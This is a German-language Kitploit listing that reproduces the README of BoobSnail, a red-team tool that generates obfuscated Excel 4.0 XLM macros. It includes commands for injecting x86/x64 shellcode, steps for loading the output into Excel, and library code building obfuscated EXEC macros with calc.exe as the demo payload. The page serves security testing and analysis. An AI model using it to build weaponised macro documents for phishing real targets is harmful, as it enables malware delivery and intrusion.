Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
boobsnail — Generieren Sie obfuskierte Excel 4.0 XLM-Makros für Red-Team-Operationen und Blue-Team-Analysen, mit Unterstützung für mehrere Infektionstechniken, Formelübersetzung und bibliotheksbasierte benutzerdefinierte Generatoren. | Kitploit
Tools/GitHubGitHub/stmcyber/boobsnail
Phishing-ToolsPayload-GenerierungPenetrationstestsSocial EngineeringRed Teaming
GitHubstmcyber/boobsnail

boobsnail

Generieren Sie obfuskierte Excel 4.0 XLM-Makros für Red-Team-Operationen und Blue-Team-Analysen, mit Unterstützung für mehrere Infektionstechniken, Formelübersetzung und bibliotheksbasierte benutzerdefinierte Generatoren.

Repository anzeigen
25649vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

License

Folgen Sie uns auf Twitter!

BoobSnail

BoobSnail ermöglicht die Generierung von XLM-Makros (Excel 4.0). Der Zweck besteht darin, RedTeam und BlueTeam bei der XLM-Makrogenerierung zu unterstützen. Funktionen:

  • verschiedene Infektionstechniken;
  • verschiedene Verschleierungstechniken;
  • Übersetzung von Formeln in andere Sprachen als Englisch;
  • kann als Bibliothek verwendet werden - Sie können leicht Ihren eigenen Generator schreiben.

Erstellen und Ausführen

Getestet mit: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

Verwendung der Generatoren

root@kitploit:~
python boobsnail.py <generator> -h

Um verfügbare Generatoren anzuzeigen, geben Sie ein:

root@kitploit:~
python boobsnail.py

Beispiele

Verschleiertes Makro generieren, das x64- oder x86-Shellcode injiziert:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PFAD_ZUM_SHELLCODE> --inputx64 <PFAD_ZUM_SHELLCODE> --out boobsnail.csv

Verschleiertes Makro generieren, das calc.exe ausführt:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Ausgabe in Excel speichern

  1. Ausgabe in CSV-Datei ausgeben.
  2. Inhalt der CSV-Datei kopieren.
  3. Excel starten und ein neues Arbeitsblatt erstellen.
  4. Neues Excel 4.0-Makro hinzufügen (Rechtsklick auf Blatt1 -> Einfügen -> MS Excel 4.0-Makro).
  5. Inhalt in Zelle A1 oder R1C1 einfügen.
  6. Klicken Sie auf Daten -> Text in Spalten.
  7. Klicken Sie auf Weiter -> Semikolon als Trennzeichen festlegen und auf Fertig stellen klicken.

Bibliotheksnutzung

BoobSnail stellt die Bibliothek excel4lib zur Verfügung, mit der Sie Ihren eigenen Excel4-Makrogenerator erstellen können. excel4lib enthält einige Klassen, die beim Schreiben eines Generators verwendet werden können:

  • excel4lib.macro.Excel4Macro - ermöglicht das Definieren von Excel4-Formeln, Werten und Variablen;
  • excel4lib.macro.obfuscator.Excel4Obfuscator - ermöglicht das Verschleiern von erstellten Anweisungen in Excel4Macro;
  • excel4lib.lang.Excel4Translator - ermöglicht das Übersetzen von Formeln in eine andere Sprache.

Die Hauptidee dieser Bibliothek ist es, Excel4-Formeln, Variablen, Formelargumente und Werte als Python-Objekte darzustellen. Dadurch können Sie Attribute von Anweisungen wie Formel- oder Variablennamen, Werte, Adressen usw. auf einfache Weise ändern. Erstellen wir beispielsweise ein einfaches Makro, das calc.exe ausführt

root@kitploit:~
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Ergebnis:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

Nehmen wir an, Sie möchten Ihr Makro verschleiern. Dazu müssen Sie nur den Obfuscator importieren und an das Excel4Macro-Objekt übergeben:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Derzeit stellt excel4lib zwei Verschleierungsklassen zur Verfügung:

  • excel4lib.macro.obfuscator.Excel4Obfuscator verwendet Excel 4.0-Funktionen wie BITXOR, SUM usw., um Ihr Makro zu verschleiern;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator verwendet RC4-Verschlüsselung, um Formeln zu verschleiern.

Wie Sie sehen, können Sie Ihre eigene Verschleierungsklasse schreiben und in Excel4Macro verwenden.

Manchmal müssen Sie Ihr Makro in eine andere Sprache übersetzen, zum Beispiel in Ihre Muttersprache - in meinem Fall Polnisch. Mit excel4lib ist das ganz einfach. Sie müssen nur die Excel4Translator-Klasse importieren und set_language aufrufen

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Ergebnis:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

Derzeit werden nur die Sprachen Englisch und Polnisch unterstützt. Wenn Sie eine andere Sprache verwenden möchten, müssen Sie Übersetzungen im Verzeichnis excel4lib/lang/langs hinzufügen.

Sicherlich werden Sie eine Formel erstellen müssen, die eine andere Formel als Argument nimmt. Dies können Sie mit der Funktion Excel4Macro.argument tun.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())

Ergebnis:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

Wie Sie sehen, wurde die Zeichenkette ".exe" als R2C1 an die CONCATENATE-Formel übergeben. R2C1 ist die Adresse des ".exe"-Werts (ZEILE Nummer 2 und SPALTE Nummer 1). excel4lib gibt Verweise auf Formeln und Werte als Adressen zurück. Verweise auf Variablen werden als deren Namen zurückgegeben. Sie haben wahrscheinlich bemerkt, dass die Excel4Macro-Klasse Formeln, Variablen und Werte automatisch in der Reihenfolge zum Arbeitsblatt hinzufügt, in der diese Objekte erstellt werden, und dass die Startadresse R1C1 ist. Was ist, wenn Sie Formeln in einer anderen Spalte oder Zeile platzieren möchten? Dies können Sie durch Aufruf der Funktion Excel4Macro.set_cords tun.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())

Ergebnis:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

Autor

mzer0 vom stm_cyber Team!

Artikel

The first step in Excel 4.0 for Red Team

BoobSnail - Excel 4.0 macro generator

Tool herunterladen